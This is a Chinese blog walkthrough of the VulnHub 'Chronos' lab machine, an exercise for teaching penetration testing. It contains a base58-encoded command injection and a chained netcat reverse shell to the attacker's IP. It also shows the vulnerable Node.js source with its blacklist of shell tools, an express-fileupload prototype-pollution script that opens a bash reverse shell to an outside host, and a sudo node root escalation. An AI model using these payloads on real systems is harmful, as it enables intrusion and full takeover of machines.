IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> kali之vulhubchronos -> 正文阅读

[网络协议]kali之vulhubchronos

目录

一、主机发现

二、端口扫描

三、服务版本扫描

四、登录http协议服务所开放的端口

1.加载页面源代码

2.查看脚本数据?

五、Cyberchef进行解码

1.cyberchef简单介绍

2.javascript beauty把数据转码

3.利用这个网址

4.尝试重新访问页面

?4.解码参数

六、尝试命令注入

1.对其编码

2.进行命令注入

?七、nc连接

1.尝试nc是否可行

(1)侦听端口

(2)建立连接

2.nc串联

八、信息收集

1.查看当前目录下的文件

(1)package.json

(2)查看app.js

2.对上一级目录进行查看

(1)server.js的内容,

(2)package.json文件

3./etc/home

(1)imera用户

(2)查看imera家目录

?九、利用express-fileupload库的漏洞提权拿到imera权限

1.利用代码:

2.步骤

(1)侦听端口

(2)获得imera权限

(3)查看user.txt,得到flag

?十、利用 sudo -l 提权获得root权限

1.用于显示当前用户可以用 sudo 执行那些命令。

2.利用node反弹shell


一、主机发现

利用netdiscover工具

最后的子网掩码最好 -8 扫描,这样扫描出来的效果更好

sudo netdiscover -r 192.168.43.27/16

可以看到 192.168.43.49就是我们要攻击的靶机

二、端口扫描

三、服务版本扫描

?

四、登录http协议服务所开放的端口

1.加载页面源代码

发现两个页面的源代码一样。唯一有用信息就是脚本里的信息,把他放到复制下来看一下。

2.查看脚本数据

发现是一堆加密的字符,所以试着去解密这些字符

五、Cyberchef进行解码

1.cyberchef简单介绍

三个框框,input是输入框,output是输出框,recipe译为佐料,这里是放置转码类型的地方。

2.javascript beauty把数据转码

经过 转码我们就看到了这些内容

?有一条url信息对我们是有帮助的

3.利用这个网址

由于都是8000端口,猜测此域名和ip有所关联,为了让域名能正常解析,所以在kali上修改hosts文件,将ip与域名绑定到一起

4.尝试重新访问页面

爆出来一行 时间日期年月

?4.解码参数

利用magic模块来解码参数,解码出来是linux里的日期参数,可以猜测此参数就是调用到linux中的命令端口,所以尝试对参数进行命令注入

六、尝试命令注入

&& ls

1.对其编码

还是采用cyberchef这个加解密的瑞士军刀,选择to base64模块

2.进行命令注入

注入十分顺利,可以看到存在命令注入漏洞。

?七、nc连接

1.尝试nc是否可行

(1)侦听端口

nc -nvlp 5555

(2)建立连接

这里需要base58编码

nc 192.168.43.27 5555

页面报错,但是连接成功

2.nc串联

1.开启两个侦听端口

2.建立连接

要进行编码

&& nc 192.168.43.27 5555 | /bin/bash | nc 192.168.43.27 6666

7m71bMEyK3F7NzzUQKtp127YFLuqnV3pqN33VNWsDhnHuKrArnFkgtgARwefeJpPMVxrLDC2c9JHbik4pV

八、信息收集

1.查看当前目录下的文件

?该web应用使用node.js来开发的,我们来查看这些文件,特别是依赖包文件package.json和主程序文件app.js

(1)package.json

该文件下有依赖的库bs58(base58),cors和express这个常用的web应用开发框架。

(2)查看app.js

// created by alienum for Penetration Testing
//导入依赖库,设置端口
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();

const port = 8000;

const cors = require('cors');

//将地址进行路由的一个过程
app.use(cors());

app.get('/', (req,res) =>{
  
    res.sendFile("/var/www/html/index.html");
});

//这里就是将date命令和解密后的参数拼接的一段代码
app.get('/date', (req, res) => {

    var agent = req.headers['user-agent'];
    var cmd = 'date ';
    const format = req.query.format;
    const bytes = bs58.decode(format);
    var decoded = bytes.toString();
    var concat = cmd.concat(decoded);
//首先判断agent是否为chronos本机,之后检测是否有恶意的命令注入语句,
//如果有则发出提醒Something went wrong,但是没有终止命令的执行
    if (agent === 'Chronos') {
        if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {

            res.send("Something went wrong");
        }
        exec(concat, (error, stdout, stderr) => {
            if (error) {
                console.log(`error: ${error.message}`);
                return;
            }
            if (stderr) {
                console.log(`stderr: ${stderr}`);
                return;
            }
            res.send(stdout);
        });
    }
    else{

        res.send("Permission Denied");
    }
})
//运行前面拼接的命令
app.listen(port,() => {

    console.log(`Server running at ${port}`);

})


发现并没有对我们提权有所帮助的框架或者是信息。

2.对上一级目录进行查看

发现有一个chronos-v2的web应用,查看其中的文件

(1)server.js的内容,

可以看到address是127.0.0.1 端口port是8080,所以说这是架设在靶机服务器本地上的一个web应用。

const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')

const app = express();

app.use(fileupload({ parseNested: true }));

app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");

app.get('/', (req, res) => {
   res.render('index')
});

const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
   console.log('Server listening on ' + addr + ' port ' + port);
});

(2)package.json文件

可以发现一个express-fileupload库,尝试去利用它。

3./etc/home

(1)imera用户

(2)查看imera家目录

发现有一个user.txt并且无法查看,只有imera用户具有权限

?

?九、利用express-fileupload库的漏洞提权拿到imera权限

1.利用代码:

import requests

cmd = 'bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"'

# pollute
requests.post('http://p6.is:7777', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://p6.is:7777')

2.步骤

(1)侦听端口

nc -nvlp 8888

(2)获得imera权限

(3)查看user.txt,得到flag

?十、利用 sudo -l 提权获得root权限

1.用于显示当前用户可以用 sudo 执行那些命令。

sudo -l

2.利用node反弹shell

sudo node -e 'child_process.spawn("/bin/bash",{stdio: [0,1,2]})'

?拿到了第二个flag

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-05-15 11:44:47  更:2022-05-15 11:45:32 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/19 2:26:00-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码